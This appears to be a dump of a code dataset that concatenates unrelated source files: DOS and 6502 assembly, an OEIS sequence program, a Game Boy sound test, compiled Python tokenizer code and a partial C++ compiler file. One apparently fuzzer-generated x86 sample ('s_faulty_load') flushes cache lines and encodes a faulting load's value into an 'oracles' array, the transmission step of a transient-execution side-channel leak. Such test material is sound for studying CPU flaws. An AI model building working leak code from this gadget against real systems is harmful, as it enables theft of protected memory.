text
stringlengths
1
1.05M
;/*! ; @file ; ; @ingroup fapi ; ; @brief DosIOAccess DOS wrapper ; ; (c) osFree Project 2022, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ; ; ;*/ .8086 ; Helpers INCLUDE HELPERS.INC _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 @PROLOG DOSIOACCESS @START DOSIOACCESS XOR AX, AX EXIT: @EPILOG DOSIOACCESS _TEXT ENDS END
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0x7f6c, %r10 nop nop nop and %rdi, %rdi movw $0x6162, (%r10) cmp %rbp, %rbp lea addresses_D_ht+0x11b95, %rsi lea addresses_D_ht+0x427d, %rdi cmp %r15, %r15 mov $42, %rcx rep movsw nop inc %r10 lea addresses_WT_ht+0x1e83d, %rsi lea addresses_normal_ht+0x312b, %rdi clflush (%rsi) clflush (%rdi) nop nop nop nop dec %r8 mov $15, %rcx rep movsw nop xor %rcx, %rcx lea addresses_normal_ht+0x7c7d, %rax nop sub %rcx, %rcx movw $0x6162, (%rax) add %r15, %r15 lea addresses_UC_ht+0xd4d5, %rcx clflush (%rcx) nop sub %rax, %rax vmovups (%rcx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %r15 nop nop nop xor $33222, %r10 lea addresses_A_ht+0x17a7d, %rbp nop nop nop nop inc %r15 movl $0x61626364, (%rbp) nop nop nop nop nop add $284, %r10 lea addresses_UC_ht+0x14015, %rax dec %rbp mov $0x6162636465666768, %r10 movq %r10, (%rax) nop nop nop and $41656, %rsi lea addresses_UC_ht+0x1e32d, %rsi lea addresses_normal_ht+0xa7d, %rdi nop nop sub $4634, %rbp mov $40, %rcx rep movsb nop nop xor %rbp, %rbp lea addresses_A_ht+0x12e7d, %rsi nop nop nop xor %rcx, %rcx mov (%rsi), %r15 add %r10, %r10 lea addresses_WT_ht+0x172bd, %r10 nop nop nop cmp $48051, %rax movw $0x6162, (%r10) nop nop nop add $16303, %rax lea addresses_normal_ht+0x1727d, %rsi lea addresses_WT_ht+0x954d, %rdi nop xor $64443, %r15 mov $79, %rcx rep movsl nop nop nop nop nop dec %r8 lea addresses_A_ht+0x1c47d, %rax xor %rsi, %rsi mov (%rax), %r8w nop xor $28262, %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %rax push %rbp push %rcx // Store lea addresses_A+0x727d, %r11 nop inc %r12 movl $0x51525354, (%r11) nop nop nop nop xor %r12, %r12 // Store lea addresses_A+0x13d21, %r12 nop nop nop nop nop xor $27310, %rbp mov $0x5152535455565758, %r10 movq %r10, %xmm4 movups %xmm4, (%r12) nop nop nop cmp $50763, %rcx // Load lea addresses_normal+0x1de6d, %r12 nop nop nop nop nop cmp %rcx, %rcx movb (%r12), %r11b nop nop nop nop sub %r11, %r11 // Load lea addresses_PSE+0x15bcd, %r8 nop nop nop nop sub $599, %r12 mov (%r8), %eax nop add %r10, %r10 // Faulty Load lea addresses_normal+0x8a7d, %r8 nop nop sub $16720, %r12 mov (%r8), %ecx lea oracles, %r8 and $0xff, %rcx shlq $12, %rcx mov (%r8,%rcx,1), %rcx pop %rcx pop %rbp pop %rax pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}} {'src': {'type': 'addresses_normal', 'AVXalign': True, 'size': 1, 'NT': True, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 0}} {'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': True}} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 6}} {'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
; A077833: Expansion of 1/(1-2*x-3*x^2-2*x^3). ; Submitted by Jon Maiga ; 1,2,7,22,69,218,687,2166,6829,21530,67879,214006,674709,2127194,6706527,21144054,66662077,210169370,662613079,2089058422,6586294821,20764991066,65466983439,206401529718,650733991885,2051606539802,6468218114695,20392723832566 mov $2,1 lpb $0 sub $0,1 add $1,$3 add $1,$3 sub $3,$1 add $1,$2 add $1,$3 mul $2,2 sub $2,$3 add $3,$2 lpe mov $0,$2
.size 8000 .text@100 jp lbegin .data@143 80 .text@150 lbegin: xor a, a ldff(24), a ldff(25), a ldff(26), a ld a, 80 ldff(26), a ld b, 05 ld c, 07 lwaitbegin: dec b jrnz lwaitbegin dec c jrnz lwaitbegin nop nop nop ld a, 20 ldff(10), a ld a, f0 ldff(12), a ld a, 00 ldff(13), a ld a, 87 ldff(14), a ld b, f8 ld c, 08 lwait: dec b jrnz lwait dec c jrnz lwait nop nop nop xor a, a ldff(10), a ld a, 77 ldff(24), a ld a, 11 ldff(25), a limbo: jr limbo
frame 1, 04 frame 2, 24 setrepeat 7 frame 1, 02 frame 3, 02 dorepeat 3 frame 1, 08 endanim
;;; ;; Initialise the monitor. ;;; monitor_initialiser: .proc ;jsr prompt rts .pend ;;; ;; Monitor main loop ;;; monitor_main_loop: .proc jsr prompt l2: jsr b_read_char ;Get char in uppercase from terminal tay ;Protect read character ldx #0 l1: cmp command_table,x beq execute_command lda command_table,x cmp #$ff ;End of table? beq command_not_supported tya inx bra l1 execute_command: cmp #'A' bcc dont_echo ;Branch if command is CTRL-<char>, ie non-printable jsr b_chout ;Echo command dont_echo: txa ;Transfer index in command table to A asl ;Muliply with two to find the command pointer tax ;Transfer a to the index pointer jsr do_command ;Execute command as a subroutine bra monitor_main_loop ;Wait for next command do_command: jmp (command_pointers,x) ;execute command (command must do an rts) command_not_supported: jsr b_bell bra l2 .pend ;;; ;; Monitor commands ;;; ;;; ;; [L] Lists (disassembles) 20 lines ;;; disassemble: .proc jsr print_colon_dollar ldx #4 jsr b_input_hex jsr b_crout lda temp1 ;if temp1 is zero beq continue_list ;branch as we want to continue where we left off lda number_buffer ;Address ends up in number_buffer sta pc_low ;so store it in address lda number_buffer+1 sta pc_high continue_list: jsr disass rts .pend ;;; ;; [D] Dumps 256 bytes of memory ;;; dump_memory: .proc jsr print_colon_dollar ldx #4 ;Ask for up to 4... jsr b_input_hex ;...characters jsr b_crout lda temp1 ;if temp1 is zero beq continue_dump ;branch as we want to continue where we left off lda number_buffer ;Address ends up in number_buffer sta address_low ;so store it in address lda number_buffer+1 sta address_high continue_dump: ldx #$10 ;16 hex numbers to print jsr print_byte_line ;print numbers $01 to $10 jsr b_crout ;CR LF jsr print_squiggly_line ;Print the squiggly line ('~') jsr b_crout ;CR LF ldx #$10 ;16 lines next_address: ldy #$10 ;16 bytes / line jsr b_hex_address ;print the address jsr b_space next_byte: lda (address_low) ;get datum at address sta temp1 ;temp1 is used by b_hex_byte (should probably change the name of variable) jsr b_hex_byte ;print byte as hex jsr b_space ;print a space jsr inc_address ;next byte dey bne next_byte ;next column of bytes jsr dump_as_ascii ;send printable ASCII to terminal. Non-printable are shown as inverted '?'. jsr b_crout ;next line dex bne next_address ;next line jsr print_squiggly_line ;ending squiggly line jsr b_crout ;CR LF ldx #$10 ;16 hex numbers to print jsr print_byte_line ;print $10 hex numbers starting with $00 rts .pend ;;; ;; [F] Fill memory with a value ;;; fill_memory: .proc jsr b_crout #print_text fill_start ldx #4 ;Ask for up to 4 hex chars (fill start address) jsr b_input_hex ;Address will be in number_buffer lda number_buffer ;so move it to address_low/high sta address_low lda number_buffer+1 sta address_high jsr b_crout #print_text fill_length ldx #4 ;Ask for up to 4 hex char (number of bytes to fill) jsr b_input_hex ;Length will be in number_buffer lda number_buffer ;so move it to fill_length_low/high sta fill_length_low lda number_buffer+1 sta fill_length_high jsr b_crout #print_text fill_byte ldx #2 ;Ask for up to 2 hex chars (byte to fill memory with) jsr b_input_hex jsr b_crout jsr abort_command ;Check if user wants to abort cmp #a_esc beq exit lda number_buffer ;Get value for fill ldx fill_length_high ;Get number of full pages to fill beq partial_page ;Branch if number of pages is 0. ldy #0 full_page: sta (address_low),y iny ;Next byte bne full_page ;Branch if not done with this page inc address_high ;Advance to next page dex ; bne full_page ;Branch if not done with full pages partial_page: ldx fill_length_low ;Get the reminding number of bytes beq exit ;Branch if no reminding bytes ldy #0 l1: sta (address_low),y ;Store value iny ;Increment index dex ;Decrement counter bne l1 ;Branch if partial page is not done exit: rts .pend ;;; ;; [H] Print all commands ;;; print_all_commands: .proc jsr b_crout #print_text help_text rts .pend ;;; ;; [T] Display date and time ;;; display_date_time: .proc jsr b_crout jsr print_date_and_time rts .pend ;;; ;; [CTRL-T] Set date and time ;; Fills todbuf with data and calls put_date_and_time to update RTC. ;; ;; Offset Content ;; -------------- ;; $00 seconds ($00-$59) ;; $01 minutes ($00-$59) ;; $02 hours ($00-$23) ;; $03 day-of-week ($01-$07) ;; $04 date ($01-$31) ;; $05 month ($01-$12) ;; $06 year LSB ($00-$99) ;; $07 year MSB ($00-$39) ;; -------------- ;; ;; Input order will DDD dd mm yyyy hh MM ss ;; Ring bell if DDD can't be found in days_of_week table ;;; set_date_time: .proc jsr display_date_time jsr b_crout ; input day of week jsr input_day_of_week sta todbuf+3 ;Store day of week jsr b_space2 ; input day of month lda #2 ;Input of two numbers sta temp2 jsr input_time_date_info sta todbuf+4 ;Store day in month #print_char '/' ; input month lda #2 sta temp2 jsr input_time_date_info sta todbuf+5 #print_char '/' ; input year, no validation lda #4 ;Input of four numbers sta temp2 jsr input_time_date_info sta todbuf+6 sty todbuf+7 ; input hour jsr b_space lda #2 ;Input of two numbers sta temp2 jsr input_time_date_info sta todbuf+2 jsr set_date_and_time ; input minutes #print_char ':' lda #2 ;Input of two numbers sta temp2 jsr input_time_date_info sta todbuf+1 jsr set_date_and_time ; input seconds #print_char ':' lda #2 ;Input of two numbers sta temp2 jsr input_time_date_info sta todbuf jsr set_date_and_time rts .pend ;;; ;; Monitor support routines ;;; ;;; ;; Input date and time. ;; No validations are made to make sure values are correct ;;; input_time_date_info: .proc smb 0,control_flags ;%01 in control_flags means decimal input. rmb 1,control_flags read_date_again: ldy #<input_buffer lda #>input_buffer ldx temp2 ;The amount of characters that should be read jsr b_read_line ;Read .X decimal numbers phx ;Preserve number of characters read jsr ascii_to_bin ;Convert to binary plx ;Restore number of characters read lda number_buffer+1 ;High byte, only used for year input sta bin+1 lda number_buffer sta bin jsr bin_to_bcd16 lda bcd ldy bcd+1 rts .pend ;;; ;; Input day of week. BELL rings if day is not found. ;; Register A will hold day of week 1 being Monday ;;; input_day_of_week: .proc phx phy smb 0,control_flags ;%11 in control_flags means ASCII input smb 1,control_flags read_week_day_again: #print_text clear_line #print_text beginning_of_line ldy #<input_buffer ;low byte of where read line will place input lda #>input_buffer ;high byte of where read line will place input ldx #3 ;Ask for three characters jsr b_read_line cpx #3 ;Have we read three characters beq correct ;Yes, Branch jsr b_bell ;No, sound bell and clear line bra read_week_day_again ;; three characters have been read correct: ldx #1 ;Day of week, 1 being Monday lda #<days_of_week ;Initialise address pointer with days of week table address sta address_low sta temp1 ;Holds the index in the table lda #>days_of_week sta address_high sta temp1+1 ; Search for week day in table check_next_entry: jsr strcmp bcs exit jsr next_entry_in_week_day_table inx cpx #8 bne check_next_entry jsr b_bell bra read_week_day_again exit: txa ;Day of week 1-7, 1 being Monday ply plx rts .pend next_entry_in_week_day_table: .proc ldy #4 l1: inc temp1 bne done inc temp1+1 done: dey bne l1 lda temp1 sta address_low lda temp1+1 sta address_high rts .pend ;;; ;; strcmp ;;; strcmp: .proc pha phy ldy #0 l2: lda (address_low),y cmp input_buffer,y bne no_match ;Exit when characters doesn't match cmp #0 ;Has end of string been reached beq match ;Yes, strings match iny ;character bra l2 no_match: clc ;Carry cleared == strings are not matching bra exit match: sec ;Set carry to indicate strings match exit: ply pla rts .pend ;;; ;; Dump as ASCII, non-printable characters (ie <32 and >126) ;; are printed as inverted '?' ;;; dump_as_ascii: .proc phy jsr b_space sec lda address_low sbc #$10 ;start from the beginning of the line sta address_low lda address_high sbc #0 sta address_high ldy #$10 loop: lda (address_low) cmp #' ' bcc non_printable ;Less than space, branch cmp #$7f bcs non_printable ;Greater or equal to DEL, branch jsr b_chout bra next_char non_printable: #print_text inverted_question_mark next_char: jsr inc_address dey bne loop ply rts .pend ;;; ;; Print a row of '~' ;;; print_squiggly_line: .proc pha phx lda #'~' ldx #80 again: jsr b_chout dex bne again plx pla rts .pend ;;; ;; Print a colon followed by a dollar ;; Preparation: ;; none ;; Register usage: ;; a: entry value ;; x: entry value ;; y: entry value ;; ;; Example: ;; jsr print_colon_dollar ;; ;; Terminal output ;; :$ ;;; print_colon_dollar: .proc pha jsr b_colon jsr b_dollar pla rts .pend ;;; ;; Print a sequence of bytes starting with 00 as HEX ;; Preparation: ;; x: number of bytes to write to terminal ;; Register usage: ;; a: entry value ;; x: used ;; y: entry value ;; ;; Example: ;; ldx #$04 ;; jsr print_byte_line ;; ;; Terminal output ;; 00 01 02 03 ;;; print_byte_line: .proc pha txa ;protect X ldx #5 ;six spaces jsr b_spacex ;send to terminal tax ;restore number of bytes to X stz temp1 loop: jsr b_hex_byte ;print temp1 as HEX ASCII jsr b_space ;a space char inc temp1 ;next number dex bne loop ;branch if not done pla ;restore calling value rts ;"return to sender" .pend ;;; ;; Print monitor prompt ;;; prompt: .proc jsr b_crout #print_text_rts prompt_text .pend abort_command: .proc #print_text abort_command_text jmp b_chin .pend ;;; ;; Increment address with one. ;;; inc_address: .proc inc address_low bne done inc address_high done: rts .pend ;;; ;; Add A to address ;;; add_a_to_address: .proc clc adc address_low sta address_low lda #0 adc address_high sta address_high rts .pend ;;; ;; Table of all commands ;;; command_table: .text "D" ;[D] Dump 256 bytes memory .byte $04 ;[CTRL-D] Download file with XMODEM/CRC .text "F" ;[F] Fill memory .text "H" ;[H] Print all commands .text $15 ;[CTRL-U] Upload file with XMODEM/CRC .text "T" ;[T] Display date and time .byte $14 ;[CTRL-T] Set date and time .text "L" ;[L] List (disassemble).Disassemble 20 lines .byte $ff ;end of table ;;; ;; Pointers to monitor commands ;;; command_pointers: .word dump_memory .word download .word fill_memory .word print_all_commands .word upload .word display_date_time .word set_date_time .word disassemble
.macosx_version_min 10, 10 .section __TEXT,__text,regular,pure_instructions .align 4, 0x90 .globl _PyToken_OneChar _PyToken_OneChar: pushl %ebp movl %esp, %ebp movl 8(%ebp), %ecx cmpl $93, %ecx jg LBB0_7 cmpl $57, %ecx jg LBB0_5 cmpl $37, %ecx jne LBB0_3 movl $24, %eax popl %ebp ret LBB0_7: cmpl $95, %ecx jg LBB0_10 cmpl $94, %ecx jne LBB0_23 movl $33, %eax popl %ebp ret LBB0_5: addl $-58, %ecx cmpl $6, %ecx ja LBB0_23 call L0$pb L0$pb: popl %edx movl $11, %eax addl Ltmp0(%edx,%ecx,4), %edx jmp *%edx LBB0_18: movl $22, %eax popl %ebp ret LBB0_10: cmpl $124, %ecx jg LBB0_14 cmpl $96, %ecx jne LBB0_12 movl $25, %eax popl %ebp ret LBB0_3: cmpl $46, %ecx jne LBB0_23 movl $23, %eax popl %ebp ret LBB0_14: cmpl $125, %ecx jne LBB0_15 movl $27, %eax popl %ebp ret LBB0_12: cmpl $123, %ecx jne LBB0_23 movl $26, %eax popl %ebp ret LBB0_15: cmpl $126, %ecx jne LBB0_23 movl $32, %eax popl %ebp ret LBB0_23: movl $51, %eax LBB0_24: popl %ebp ret LBB0_17: movl $21, %eax popl %ebp ret LBB0_22: movl $50, %eax popl %ebp ret .align 2, 0x90 LJTI0_0: .long L0_0_set_24 .long L0_0_set_23 .long L0_0_set_23 .long L0_0_set_18 .long L0_0_set_17 .long L0_0_set_23 .long L0_0_set_22 # ---------------------- .align 4, 0x90 .globl _PyToken_TwoChars _PyToken_TwoChars: pushl %ebp movl %esp, %ebp movl 12(%ebp), %ecx movl 8(%ebp), %eax cmpl $60, %eax jg LBB1_3 addl $-33, %eax cmpl $14, %eax ja LBB1_20 call L1$pb L1$pb: popl %edx addl Ltmp1(%edx,%eax,4), %edx jmp *%edx LBB1_11: movl $29, %eax jmp LBB1_19 LBB1_3: cmpl $93, %eax jg LBB1_7 cmpl $61, %eax jne LBB1_5 movl $28, %eax jmp LBB1_19 LBB1_7: cmpl $94, %eax jne LBB1_8 movl $44, %eax jmp LBB1_19 LBB1_5: cmpl $62, %eax jne LBB1_20 cmpl $62, %ecx movl $35, %eax movl $51, %edx cmove %eax, %edx cmpl $61, %ecx movl $31, %eax cmovne %edx, %eax popl %ebp ret LBB1_8: cmpl $124, %eax jne LBB1_20 movl $43, %eax jmp LBB1_19 LBB1_16: movl $41, %eax jmp LBB1_19 LBB1_17: movl $42, %eax jmp LBB1_19 LBB1_14: cmpl $61, %ecx movl $39, %eax movl $51, %edx cmove %eax, %edx cmpl $42, %ecx movl $36, %eax cmovne %edx, %eax popl %ebp ret LBB1_12: movl $37, %eax jmp LBB1_19 LBB1_13: movl $38, %eax LBB1_19: cmpl $61, %ecx je LBB1_21 LBB1_20: movl $51, %eax LBB1_21: popl %ebp ret LBB1_15: cmpl $61, %ecx movl $40, %eax movl $51, %edx cmove %eax, %edx cmpl $47, %ecx movl $48, %eax cmovne %edx, %eax popl %ebp ret .align 2, 0x90 LJTI1_0: .long L1_0_set_11 .long L1_0_set_20 .long L1_0_set_20 .long L1_0_set_20 .long L1_0_set_16 .long L1_0_set_17 .long L1_0_set_20 .long L1_0_set_20 .long L1_0_set_20 .long L1_0_set_14 .long L1_0_set_12 .long L1_0_set_20 .long L1_0_set_13 .long L1_0_set_20 .long L1_0_set_15 # ---------------------- .align 4, 0x90 .globl _main _main: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi movl $51, %ecx movl 8(%ebp), %edx cmpl $93, %edx jg LBB2_7 cmpl $57, %edx jg LBB2_5 cmpl $37, %edx jne LBB2_3 movl $24, %eax jmp LBB2_28 LBB2_7: cmpl $95, %edx jg LBB2_12 cmpl $94, %edx jne LBB2_9 movl $33, %eax jmp LBB2_28 LBB2_5: leal -58(%edx), %esi cmpl $6, %esi ja LBB2_9 call L2$pb L2$pb: popl %edi movl $11, %eax addl Ltmp2(%edi,%esi,4), %edi jmp *%edi LBB2_22: movl $28, %ecx movl $22, %eax jmp LBB2_28 LBB2_12: cmpl $124, %edx jg LBB2_16 cmpl $96, %edx jne LBB2_14 movl $25, %eax jmp LBB2_28 LBB2_3: cmpl $46, %edx jne LBB2_9 movl $23, %eax jmp LBB2_28 LBB2_16: cmpl $125, %edx jne LBB2_17 movl $27, %eax jmp LBB2_28 LBB2_14: cmpl $123, %edx jne LBB2_9 movl $26, %eax jmp LBB2_28 LBB2_17: cmpl $126, %edx jne LBB2_9 movl $32, %eax jmp LBB2_28 LBB2_9: movl $51, %eax cmpl $42, %edx jne LBB2_10 movl $36, %ecx jmp LBB2_28 LBB2_10: cmpl $47, %edx jne LBB2_11 movl $48, %ecx jmp LBB2_28 LBB2_11: movl $51, %ecx jmp LBB2_28 LBB2_23: movl $35, %ecx movl $21, %eax jmp LBB2_28 LBB2_21: movl $50, %eax LBB2_28: addl %ecx, %eax popl %esi popl %edi popl %ebp ret .align 2, 0x90 LJTI2_0: .long L2_0_set_28 .long L2_0_set_9 .long L2_0_set_9 .long L2_0_set_22 .long L2_0_set_23 .long L2_0_set_9 .long L2_0_set_21 # ---------------------- .set Ltmp0,LJTI0_0-L0$pb .set L0_0_set_24,LBB0_24-L0$pb .set L0_0_set_23,LBB0_23-L0$pb .set L0_0_set_18,LBB0_18-L0$pb .set L0_0_set_17,LBB0_17-L0$pb .set L0_0_set_22,LBB0_22-L0$pb .set Ltmp1,LJTI1_0-L1$pb .set L1_0_set_11,LBB1_11-L1$pb .set L1_0_set_20,LBB1_20-L1$pb .set L1_0_set_16,LBB1_16-L1$pb .set L1_0_set_17,LBB1_17-L1$pb .set L1_0_set_14,LBB1_14-L1$pb .set L1_0_set_12,LBB1_12-L1$pb .set L1_0_set_13,LBB1_13-L1$pb .set L1_0_set_15,LBB1_15-L1$pb .set Ltmp2,LJTI2_0-L2$pb .set L2_0_set_28,LBB2_28-L2$pb .set L2_0_set_9,LBB2_9-L2$pb .set L2_0_set_22,LBB2_22-L2$pb .set L2_0_set_23,LBB2_23-L2$pb .set L2_0_set_21,LBB2_21-L2$pb .subsections_via_symbols
//===--------------------------------------------------------------------------------*- C++ -*-===// // _ // | | // __| | __ ___ ___ ___ // / _` |/ _` \ \ /\ / / '_ | // | (_| | (_| |\ V V /| | | | // \__,_|\__,_| \_/\_/ |_| |_| - Compiler Toolchain // // // This file is distributed under the MIT License (MIT). // See LICENSE.txt for details. // //===------------------------------------------------------------------------------------------===// #include "GenerateInMemoryStencils.h" #include "dawn/IIR/ASTExpr.h" #include "dawn/IIR/ASTStmt.h" #include "dawn/IIR/ASTUtil.h" #include "dawn/IIR/AccessComputation.h" #include "dawn/IIR/FieldAccessMetadata.h" #include "dawn/IIR/IIR.h" #include "dawn/IIR/IIRNodeIterator.h" #include "dawn/IIR/InstantiationHelper.h" #include "dawn/IIR/StencilInstantiation.h" #include "dawn/IIR/StencilMetaInformation.h" #include "dawn/Optimizer/PassSetStageName.h" #include "dawn/Optimizer/PassTemporaryType.h" #include "dawn/Optimizer/StatementMapper.h" #include "dawn/SIR/ASTFwd.h" #include "dawn/SIR/SIR.h" #include "dawn/Serialization/IIRSerializer.h" #include "dawn/Support/Logger.h" #include "dawn/Support/STLExtras.h" #include "dawn/Unittest/IIRBuilder.h" using namespace dawn; std::shared_ptr<iir::StencilInstantiation> createCopyStencilIIRInMemory(ast::GridType gridType) { auto target = std::make_shared<iir::StencilInstantiation>(gridType); ///////////////// Generation of the IIR sir::Attr attributes; int stencilID = target->nextUID(); target->getIIR()->insertChild( std::make_unique<iir::Stencil>(target->getMetaData(), attributes, stencilID), target->getIIR()); const auto& IIRStencil = target->getIIR()->getChild(0); // One Multistage with a parallel looporder IIRStencil->insertChild( std::make_unique<iir::MultiStage>(target->getMetaData(), iir::LoopOrderKind::Parallel)); const auto& IIRMSS = (IIRStencil)->getChild(0); IIRMSS->setID(target->nextUID()); // Create one stage inside the MSS IIRMSS->insertChild(std::make_unique<iir::Stage>(target->getMetaData(), target->nextUID())); const auto& IIRStage = IIRMSS->getChild(0); // Create one doMethod inside the Stage that spans the full domain IIRStage->insertChild(std::make_unique<iir::DoMethod>( iir::Interval(sir::Interval{sir::Interval::Start, sir::Interval::End}), target->getMetaData())); const auto& IIRDoMethod = IIRStage->getChild(0); IIRDoMethod->setID(target->nextUID()); // create the statement auto makeFieldDimensions = []() -> sir::FieldDimensions { return sir::FieldDimensions(sir::HorizontalFieldDimension(ast::cartesian, {true, true}), true); }; auto sirInField = std::make_shared<sir::Field>("in_field", makeFieldDimensions()); sirInField->IsTemporary = false; auto sirOutField = std::make_shared<sir::Field>("out_field", makeFieldDimensions()); sirOutField->IsTemporary = false; auto lhs = std::make_shared<ast::FieldAccessExpr>(sirOutField->Name); lhs->setID(target->nextUID()); auto rhs = std::make_shared<ast::FieldAccessExpr>(sirInField->Name); rhs->setID(target->nextUID()); int in_fieldID = target->getMetaData().addField(iir::FieldAccessType::APIField, sirInField->Name, std::move(sirInField->Dimensions)); int out_fieldID = target->getMetaData().addField( iir::FieldAccessType::APIField, sirOutField->Name, std::move(sirOutField->Dimensions)); 